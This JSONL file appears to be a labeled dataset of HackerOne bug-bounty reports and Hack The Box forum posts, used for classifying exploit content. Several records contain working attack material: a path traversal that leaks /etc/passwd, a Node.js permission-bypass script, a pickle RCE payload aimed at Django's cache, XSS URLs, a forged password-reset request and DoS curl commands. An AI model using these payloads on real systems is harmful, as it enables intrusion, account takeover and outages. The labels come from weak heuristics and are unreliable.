-{"id": "2815e3862b7fb4f3b53a", "text": "[Improper Authentication - Generic] PURGE is not authenticated\n\nHi @yelp Team,\n\nAnyone can issue a PURGE request for any resource and invalidate your caches. That can lead to increased bandwidth costs.\n\nFetching the resource headers, we can see in the `X-Cache-Hits: 1, 14` :\n```\nE:\\>curl https://s3-media0.fl.yelpcdn.com/assets/public/pride@2x.yelp_design_web.yji-629fce3629585b9db2137d9353196628.png --head\nHTTP/1.1 200 OK\nETag: \"629fce3629585b9db2137d9353196628\"\nx-amz-version-id: KnfcY6QenKubeC6DBXpUT1d87B17ORdD\nContent-Type: image/png\nServer: AmazonS3\nVia: 1.1 varnish\nAccess-Control-Allow-Origin: *\nContent-Length: 17079\nAccept-Ranges: bytes\nDate: Wed, 26 Jun 2019 01:22:10 GMT\nVia: 1.1 varnish\nConnection: keep-alive\nX-Served-By: cache-sjc3141-SJC, cache-hkg17922-HKG\nX-Cache: HIT, HIT\nX-Cache-Hits: 1, 14\nX-Timer: S1561512131.889727,VS0,VE0\nCache-Control: max-age=315360000, immutable\nTiming-Allow-Origin: *\nX-Content-Type-Options: nosniff\nStrict-Transport-Security: max-age=31536000; includeSubDomains; preload\n```\n\nUnauthenticated purge request:\n```\nE:\\>curl https://s3-media0.fl.yelpcdn.com/assets/public/pride@2x.yelp_design_web.yji-629fce3629585b9db2137d9353196628.png --head -XPURGE\nHTTP/1.1 200 OK\nContent-Type: application/json\nContent-Length: 46\nAccept-Ranges: bytes\nDate: Wed, 26 Jun 2019 01:22:17 GMT\nX-Varnish: 1668603163\nVia: 1.1 varnish\nConnection: keep-alive\nX-Served-By: cache-hkg17923-HKG\n```\n\nHeader `X-Cache-Hits: 1, 0`:\n```\nE:\\>curl https://s3-media0.fl.yelpcdn.com/assets/public/pride@2x.yelp_design_web.yji-629fce3629585b9db2137d9353196628.png --head\nHTTP/1.1 200 OK\nETag: \"629fce3629585b9db2137d9353196628\"\nx-amz-version-id: 8qpzJuX00EuyeMTUm5QGEHehZ2rbfRmQ\nContent-Type: image/png\nServer: AmazonS3\nVia: 1.1 varnish\nAccess-Control-Allow-Origin: *\nContent-Length: 17079\nAccept-Ranges: bytes\nDate: Wed, 26 Jun 2019 01:22:20 GMT\nVia: 1.1 varnish\nConnection: keep-alive\nX-Served-By: cache-sjc3129-SJC, cache-hkg17923-HKG\nX-Cache: HIT, MISS\nX-Cache-Hits: 1, 0\nX-Timer: S1561512140.209567,VS0,VE151\nCache-Control: max-age=315360000, immutable\nTiming-Allow-Origin: *\nX-Content-Type-Options: nosniff\nStrict-Transport-Security: max-age=31536000; includeSubDomains; preload\n```\n\n## Impact\n\nThat can lead to increased bandwidth costs.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d90451972964d8f2fbe2", "text": "[Violation of Secure Design Principles] ABLE TO TRICK THE VICTIM INTO USING A CRAFTED EMAIL ADDRESS FOR A PARTICULAR  SESSION AND THEN LATER TAKE BACK THE ACCOUNT\n\nHi\nI have found a vulnerability in your website using which i can trick the victim into using a specific email address to login in into the website and him thinking that he is using his own email address and continuing the session and then later we can take back the account and check what are the chats he made\nUNDER SOME CIRCUMSTANCES\n\nHOW TO REPRODUCE:-\nscenarios - a team admin sends you and the victim a joining link to his team.\nit looks like this:-\nhttps://hackerone.cloud.mattermost.com/signup_user_complete/?d={\"display_name\":\"\\u003ch1\\u003ea\",\"email\":\"██████████\",\"name\":\"main\"}&t=cqtkyznxn8e43yagt9fjcsrc4nh6yoqq914in3zg4ykj1jkjbc9bippckjikj4cw\n\nnow we can see that there is an Email value and a token value. here the email value doesn't matter because even if we change it .  you will be login as the \nemail to which the link was send. the token is assigned according to a particular email value\nbut interesting thing happens when we remove the email value and keep it blank (REFER TO THIS EMAIL)\n\nhttps://hackerone.cloud.mattermost.com/signup_user_complete/?d={\"display_name\":\"\\u003ch1\\u003ea\",\"email\":\"\",\"name\":\"main\"}&t=cqtkyznxn8e43yagt9fjcsrc4nh6yoqq914in3zg4ykj1jkjbc9bippckjikj4cw\n\nIF we go to the first link it asks us for name and password\nBUT if we go to the second link it ask's for username password and email(HERE things get interesting)\neven if we give a different email address to it . you will be signed as the attacker email id and the you can continue the session thinking that its your own email id you are using\n\n## Impact\n\nthe attacker can use his own invite link and then remove the email value from it and send it to the victim. when the victim clicks he sees 3 fields he give his own email id password and username and continue the session when done he log's out then the attacker can use forget password to take back his account and look through all of his private messages\n\nSTEPS TO REPRODUCE :-\n1. go to the first link you will be asked for username and password(DON'T SUBMIT JUST SEE THE CONTENTS)\n2.go to the second link you will be also asked for email(ENTER ALL THE VALUES )\n3.now if you check the email address it will be different from the original email address (you are using a forged email id) of the attacker\n\nNOW I HAVE RATED IT HIGH BECAUSE USING THIS WE CAN  SEE ALL THE CONVERSATION'S HE DID FOR A PARTICULAR SESSION\nI WILL ATTACH THE POC BELOW", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "03d1ce46f3d6ea3fdd10", "text": "[Improper Access Control - Generic] Any expired reset password link can still be used to reset the password\n\nHello Aronis team!\n\nWhen requesting a password reset link at https://alt.5nine.com/passwordrecovery.aspx and using it, after a short time the link becomes invalid.\nWhen I open the link I get the message:\n*\"Your validation request is invalid or expired\"*\nBut it is still possible to use it to reset the password, because it is still linked with the \"__VIEWSTATE\" parameter on the server side and this is the only value needed in the password reset process, and it can be used infinite times to reset the password.\nSo in short, you use the reset link to get the value of \"__VIEWSTATE\" and use it to reset the password\n\nTherefore, in a scenario where an attacker has somehow gained access to the victim's inbox, they can use any expired link to change the user's password.\n\n##STEPS TO REPRODUCE\n\n1- Go to https://alt.5nine.com/passwordrecovery.aspx\n2- Enter your account email and click \"reset\"\n3- Use the link and reset your password\n4- Wait some time (about 30 min) for the link to expire, as shown below\n\n{F1795088}\n*(just to confirm it's expired and you can use it to reset the password anyway)*\n\n5- Now view the page source code, search for \"viewstate\" and capture its value\n{F1795365}\n\n6- Encode it's value as url --> https://urlencode.org\n7- Now use the encoded value in the following request\n\n```\nPOST /TokenValidation.aspx HTTP/2\nHost: alt.5nine.com\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 405\n\n__VIEWSTATE=<viewstate-here>&ctl00%24mainContentId%24Password=hacked123&ctl00%24mainContentId%24ConfirmPassword=hacked123&ctl00%24mainContentId%24FinalizeRegistration=Submit\n```\n8- And the password will be changed to \"hacked123\"\n{F1795370}\n\n##References\nhttps://hackerone.com/reports/898841\nhttps://hackerone.com/reports/772886\n\n## Impact\n\nPassword reset link must become completely useless after used, to prevent someone malicious who has access to it use it to reset the password, in this case the user will lose the account if the attacker has access to any old link", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4c1049aad0312c5885d9", "text": "[Cross-site Scripting (XSS) - Reflected] XSS seems to work again after change to linkpop at https://linkpop.com/testnaglinagli\n\n## Summary\n\nMy XSS seems to work again at\n\nhttps://linkpop.com/testnaglinagli\n\nBest Regards\n\n@nagli\n\n## Impact\n\nXSS", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9d0de258f528fd5787ac", "text": "[Path Traversal] [doc.rt.informaticacloud.com] Arbitrary File Reading via Double URL Encode\n\nHi. Attacker can read arbitrary file in system via next query:\n\n```\nhttp://doc.rt.informaticacloud.com/infocenter/ActiveVOS/v92/topic/com.activee.bpep.doc/images/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd\n```\n\nYou can see the response here: \n{F188500}\n\n```\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/bin/sh\nbin:x:2:2:bin:/bin:/bin/sh\nsys:x:3:3:sys:/dev:/bin/sh\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/bin/sh\nman:x:6:12:man:/var/cache/man:/bin/sh\nlp:x:7:7:lp:/var/spool/lpd:/bin/sh\nmail:x:8:8:mail:/var/mail:/bin/sh\nnews:x:9:9:news:/var/spool/news:/bin/sh\nuucp:x:10:10:uucp:/var/spool/uucp:/bin/sh\nproxy:x:13:13:proxy:/bin:/bin/sh\nwww-data:x:33:33:www-data:/var/www:/bin/sh\nbackup:x:34:34:backup:/var/backups:/bin/sh\nlist:x:38:38:Mailing List Manager:/var/list:/bin/sh\nirc:x:39:39:ircd:/var/run/ircd:/bin/sh\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh\nnobody:x:65534:65534:nobody:/nonexistent:/bin/sh\nlibuuid:x:100:101::/var/lib/libuuid:/bin/sh\nsyslog:x:101:103::/home/syslog:/bin/false\nmessagebus:x:102:105::/var/run/dbus:/bin/false\nlandscape:x:103:108::/var/lib/landscape:/bin/false\nsshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin\nubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash\npuppet:x:105:111:Puppet configuration management daemon,,,:/var/lib/puppet:/bin/false\nvrangan:x:1001:1001::/home/vrangan:/bin/bash\navahi:x:106:112:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false\n```", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c84680a94df25398232c", "text": "[Improper Access Control - Generic] Process-based permissions can be bypassed with the \"inspector\" module.\n\n**Summary:**\n\nRestrictions made with with the --experimental-permission flag can by bypassed with the built-in inspector module. \n\n**Description:** \n\nThe Worker class  can take an argument (the kIsInternal Symbol) to create an \"internal worker\" which does not respect the process level restrictions. \n\nWe cant access this Symbol('kIsInternal'); directly, however the [inspector module](https://nodejs.org/api/inspector.html) is not disabled when process level restrictions are in place.  \"The node:inspector module provides an API for interacting with the V8 inspector.\"\n\nIf we attach inspector inside the Worker constructor before `new WorkerImpl` is created we can simply change the value of \"isInternal\". \n\n## Steps To Reproduce:\n\n1. Create the following `bypass.js` file: \n\n```javascript\nconst { Session } = require('node:inspector/promises');\n\nconst session = new Session();\nsession.connect();\n\n(async ()=>{\n\tawait session.post('Debugger.enable');\n\tawait session.post('Runtime.enable');\n\n\tglobal.Worker = require('node:worker_threads').Worker;\n\t\n\tlet {result:{ objectId }} = await session.post('Runtime.evaluate', { expression: 'Worker' });\n\tlet { internalProperties } = await session.post(\"Runtime.getProperties\", { objectId: objectId });\n\tlet {value:{value:{ scriptId }}} = internalProperties.filter(prop => prop.name == '[[FunctionLocation]]')[0];\n\tlet { scriptSource } = await session.post(\"Debugger.getScriptSource\", { scriptId });\n\n\t// find the line number where WorkerImpl is called. \n\tconst lineNumber = scriptSource.substring(0, scriptSource.indexOf(\"new WorkerImpl\")).split('\\n').length;\n\n\t// WorkerImpl will bypass permission for internal modules. We can inject the local var \"isInternal = true\" with a conditional breakpoint.\n\tawait session.post(\"Debugger.setBreakpointByUrl\", {\n\t\tlineNumber: lineNumber,\n\t\turl: \"node:internal/worker\",\n\t\tcolumnNumber: 0,\n\t\tcondition: \"((isInternal = true),false)\"\n\t});\n\n\tnew Worker(`\n\t\tconst child_process = require(\"node:child_process\");\n\t\tconsole.log(child_process.execSync(\"ls -l\").toString());\n\t\t\n\t\tconsole.log(require(\"fs\").readFileSync(\"/etc/passwd\").toString())\n\t`, {\n\t\teval: true,\n\t\texecArgv: [\n\t\t\t\"--experimental-permission\",\n\t\t\t\"--allow-fs-read=*\",\n\t\t\t\"--allow-fs-write=*\",\n\t\t\t\"--allow-child-process\",\n\t\t\t\"--no-warnings\"\n\t\t]\n\t});\n\n})()\n```\n\n2. Run the following command :\n\n``` bash\nnode --experimental-permission --allow-fs-read=$(pwd) bypass.js\n```\n---\nIf the policies were not bypassed we would expect to see something like: \n\n```\nnode --experimental-permission --allow-fs-read=$(pwd) safe.js\nnode:internal/child_process:1103\n  const result = spawn_sync.spawn(options);\n                            ^\n\nError: Access to this API has been restricted\n``` \n\n## Supporting Material/References:\nIn my opinion inspector should be allowed when process level permissions are being enforced. \nI noticed there was already a flag: EnvironmentFlags::kNoCreateInspector. I took a shot at patching this  out unless ==inspect or --inspect-brk were used, but I didn't know if a more direct options like \"--allow-inspector\" would be preferred. \n\n  ``` diff\ndiff --git a/src/env.cc b/src/env.cc\nindex 571a8ed5ce..b5b7557bd1 100644\n--- a/src/env.cc\n+++ b/src/env.cc\n@@ -791,6 +791,11 @@ Environment::Environment(IsolateData* isolate_data,\n     // spawn/worker nor use addons unless explicitly allowed by the user\n     if (!options_->allow_fs_read.empty() || !options_->allow_fs_write.empty()) {\n       options_->allow_native_addons = false;\n+      DebugOptions debug_options;\n+      debug_options = options_->debug_options();\n+      if (!debug_options.inspector_enabled || !debug_options.break_first_line) {\n+        flags_ = flags_ | EnvironmentFlags::kNoCreateInspector;\n+      }\n       if (!options_->allow_child_process) {\n         permission()->Apply(\"*\", permission::PermissionScope::kChildProcess);\n       }\n```\n\n## Impact\n\nPermission Model is a mechanism for restricting access to specific resources during execution. This bypasses those ", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ec1a94ef5a57d9ae01f5", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS at https://██████/\n\n**Description:**\nThere exists a reflected XSS within the logout functionality of ServiceNow. This enables an unauthenticated remote attacker to execute arbitrary JavaScript.\n\n## References\n* https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB1156793\n\n## Impact\n\nSteal cookies to account takeover.\n\n## System Host(s)\n█████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2022-38463\n\n## Steps to Reproduce\n1.Go to https://████/logout_redirect.do?sysparm_url=//j%5c%5cjavascript%3aalert(document.domain)\n2.You will see alert box like this.\n███████\n\n## Suggested Mitigation/Remediation Actions", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-38463"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5296891b92e22be1c4bb", "text": "[Information Disclosure] Sensitive Data Exposure via wp-config.php file\n\n**Description:**\n\nHi team,\nA copy of the WordPress config file wp-config.php has been found at  █████████ endpoint. It contains sensitive information, such as MySQL and AWS credentials, and various keys.\n\n## References\n\nhttps://codex.wordpress.org/WordPress_Files\n\n## Impact\n\nThe page provides information to users who do not need it.\n\n## System Host(s)\n████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Go to: ███/wp-config.php_\n2. See the information.\n\n## Suggested Mitigation/Remediation Actions\nImplement access control.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "28bcb610a3a45e154abf", "text": "I got stuck too in this lesson but at the end I figured even \"apt list --installed | wc -l \" works too! but it adds one to the actual output. cuz wc counts the lines and the first line of the output of “apt list --installed” is Listing…done.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2838355cee747583d865", "text": "[Cross-site Scripting (XSS) - DOM] XSS on Brave Today through custom RSS feed\n\n## Summary:\n\nTwo months ago, the [custom RSS feed feature](https://github.com/brave/brave-ios/pull/3317) was introduced to Brave Today on Brave iOS.\n\nThis feature allows to add any RSS feed to Brave Today, and the registered feed entries are shown in a tab with a hyperlink to the original article URL.\nThen, Brave iOS doesn't restrict the URL scheme of the original article link, which can cause XSS weakness through `javascript:` URL.\n\nHere is a demonstration RSS feed of this attack.\nhttps://csrf.jp/brave/rss.php\n\nThis RSS feed contains `javascript:alert(document.domain)` in an entry tag like this.\n```\n<entry>\n  <title>XSS</title>\n  <link rel=\"alternate\" type=\"text/html\" href=\"javascript:alert(document.domain)\" />\n  <content type=\"html\"><![CDATA[<img src=\"https://csrf.jp/test.png\">]]></content>\n</entry>\n```\nWhen user taps the entry on Brave Today, an alert dialog is shown on `http://localhost:65XX`.\n\n## Products affected: \n\n * Brave iOS current Nightly build\n\n## Steps To Reproduce:\n\n * Open \"Settings\"\n * Tap \"Brave Today\" in Settings menu\n * Tap \"Add Source\"\n * Type \"https://csrf.jp/brave/rss.php\" and tap \"Search\"\n * RSS feed, that name is PoC, is found, then tap \"Add\"\n * Enable PoC feed\n * Close the Settings menu and open a new tab\n * Enable Brave Today, then you can find an article entry that name is \"XSS\"\n * Tap the article, then an alert dialog is shown\n\n## Supporting Material/References:\n\n  * See attached movie file for the demonstration\n\n## Impact\n\nAs written in summary, XSS is possible on `http://localhost:65XX`.\nNote that `http://localhost:65XX` should be considered as a privileged domain that hosts Brave's internal features such as reader-view, error-pages and so on.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9ed631f8c68753658459", "text": "Solved. Click on all buttons (Copy, Move). Find the right place (Can be at the start of the file) to put injection operators ( | || %0a). Bypass filters for c\"o\"m\"m\"a\"n\"d and filtered characters . Find the good syntax to read the flag Message me if you need hint", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-02-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1851e86aca8f3db56789", "text": "[Unknown] Download full backup  [Mtn.co.rw]\n\n## Summary:\nI discovered few critical vulnerabilities here, one of them is exposed backup files via directory listing.\n\n\n## Steps To Reproduce:\n\ngo to https://mtn.co.rw/mtn.zip and download the file\nextract the file and open\nyou will see the full backup of the website\n\n## Similar report:\nhttps://hackerone.com/reports/684838\n\n## Impact\n\nSource code & DB credentials leakage. Attacker can use it to compromise the resource.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e695648c0c8e36069251", "text": "Initially I did it a bit different: mov rcx, 14 mov rdx, rsp loopStack: mov rdi, [rdx] xor rdi, rbx add rdx, 8 loop loopStack but it did not work. I see some kind of new shell, but typing any letter throws an error. Then I tried what @XSSDoctor suggested and it gave me the same HEX line (‘4831…0f05’), so it’s still does not work. Could anyone please help? Maybe there’s something special in how you feed this line to ‘loader.py’?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-06-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "59fa5c35e5b6361991c4", "text": "Don’t know if you figured it out but I ran into the same problem and I fixed it by specifying a rule on Defender firewall to specifically allow inbound traffic on TCP port 445, which the default port for smbclient.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-07-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "09748cd406d95375b7bf", "text": "[Uncontrolled Resource Consumption] %0A (New line) and limitness URL leads to DoS at all system [Main adress (https://www.acronis.com/)]\n\nHello team, hopefully you are happy now\n\nI found a DoS vulnerabilty at https://www.acronis.com/ (Note: site is still down and this is not intentional behavior and i didn't use any automated tool)\nAt first i saw this code at site: <a href=\"URL/path\">someting</a> and tried XSS but site was filtered \" and '. So i tried with new line command (%0a) and the site gave 301 and again and again. Then i think like this: this is be DoS? And tried at just 1 page and no result :( Then i opened a few (10-15) page and execute this curl command: \n\ncurl -L --max-redirs 100 \"https://www.acronis.com/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/%0ahttps:/www.acronis.com/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/%0A\" and it's worked. I refreshed the page and site gave 502 bad gateway a said yesss and stoped the attack. But site gave 502 about 30 m - 1 hour.\n\n--------------------------------------------------------------------------------------------------------------------------------------\n\nSteps to reproduce:\n\n1) Go to https://www.acronis.com/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/%0ahttps:/www.acronis.com/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/%0A at your browser at 10-15 page\n\n2) Execute this command at kali linux a few times and at a few terminal: curl -L --max-redirs 100 \"https://www.acronis.com/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en-us/en", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3de554d0225dcb7febb4", "text": "[Unknown] Same the Url\n\n## Summary:\ni found the /graphql path and /performance_report with the post method. when i will create page with name /graphql i am not allowed on the grounds it is reserved but i can create page with name performance_report.\nalthough both use the same method but only /graphql cannot be created.\n\n## Shops Used to Test:\nhttps://linkpop.com/performance_report\n\n## Steps To Reproduce:\n1. login to https://linkpop.com\n2. create page and use performance_report to profile page url.\n3. and it will be created successfully\n\nBest Regards,\n@4bel\n\n## Impact\n\nIt is clear that /performance_report should not be used like /graphql.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bd99db8e137d811372bd", "text": "this hint is the key to the kingdom. Once you determine the vulnerability and can can make the exploit work in gdb (i.e. you get an unprivileged shell), get out of gdb and just run your exploit as an argument to the vulnerable binary–don’t forget to start your listener.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-09-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "398acd1c95b03966fadd", "text": "[Open Redirect] Open Redirect - https://████████.jetblue.com/███?url=\n\nOpen the url https://██████████.jetblue.com/████?url=http://www.dakshineswarkalitemple.org/ this as a result we see Open redirect issue\n\nPOC video :  ██████\n\n## Impact\n\nOpen redirect", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8a5ee781ae8ae7251904", "text": "[Deserialization of Untrusted Data] Deserialization of potentially malicious data to RCE\n\nHello, Django Team! It's my first time working with you, hope it will be great!\nNote: I have not seen this issue neither in known vulnerabilities nor in documentation, so here I am.\n\n## Summary\nSeveral type of caches in https://github.com/django/django/tree/main/django/core/cache/backends use python `pickle` which may result in RCE (basically privilege escalation) in case attacker will takeover a machine/container with cache.\nSo, 4 types of cache use `pickle.load` directly or under the hood:\n1. Locmem - I don't consider it as a big issue, because locmem uses some random part of memory for cache taken by Python while the server runs + it is unlikely to be used in production.\n2. Filebased - I don't consider it as an issue, because if you control the file with cache, it is likely that you control the machine where Django runs + this behaviour is mentioned in the documentation (https://docs.djangoproject.com/en/3.2/topics/cache/):\n```\nAn attacker who gains access to the cache file can not only falsify HTML content, which your site will trust, but also remotely execute arbitrary code, as the data is serialized using pickle.\n```\n3. Database - this time I consider this as an issue, because a Django app and db are pretty likely running on different machines/containers. So in case attacker gains access to db, a door to privilege escalation via RCE on other machine is open.\n4. Redis - though it was not released yet, it's already supported in dev version from source. Same thoughts here - Redis is likely to run in a separated environment.\n\n## PoC, steps to reproduce:\nI'm providing it for a db based cache, as Redis support is not officially released yet if I'm not mistaking\nFor an ease of PoC I will use sqlite3 on the same machine, but you of course may run a separate database.\n\n1. Create a Django project, make some simple app.\n2. Add this to `settings.py`:\n```\nMIDDLEWARE = [\n    'django.middleware.cache.UpdateCacheMiddleware',\n    ...\n    'django.middleware.cache.FetchFromCacheMiddleware',\n]\n...\nCACHE_MIDDLEWARE_ALIAS = 'default'\nCACHE_MIDDLEWARE_KEY_PREFIX = ''\n...\nCACHES = {\n    'default': {\n        'BACKEND': 'django.core.cache.backends.db.DatabaseCache',\n        'LOCATION': 'my_cache_table',\n    }\n}\n```\n3. Run the server, visit your app's page to create a cache entry;\n4. In your shell run:\n`sqlite3 db.sqlite3`\n5. Run `SELECT * FROM my_cache_table;` to find a row which stores the cached page (it was the second one in my case).\n6. Run `UPDATE my_cache_table SET value = 'gASVHgAAAAAAAACMAm9zlIwGc3lzdGVtlJOUjAZ3aG9hbWmUhZRSlC4=' where rowid=2;` with the id of your row,\n7. Reload the web page.\n8. Observe command execution in the server logs.\n\nVideo PoC:\n{F1532035}\n\n`gASVHgAAAAAAAACMAm9zlIwGc3lzdGVtlJOUjAZ3aG9hbWmUhZRSlC4=` is a base64 version of pickled RCE payload:\n```\nclass Pwner:\n    def __reduce__(self):\n        import os\n        cmd = \"whoami\"\n        return os.system, (cmd,)\n```\n\n## Reference\nAs a reference I'm leaving a very same issue in Flask: \nhttps://vulmon.com/vulnerabilitydetails?qid=CVE-2021-33026&scoretype=cvssv2\n\n## Attack scenario:\n1. Attacker gains an access to machine/container with cache instance.\n2. Attacker now can run arbitrary code on machine with running Django server.\n\n## Impact\n\nRCE, full machine takeover", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2021-33026"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
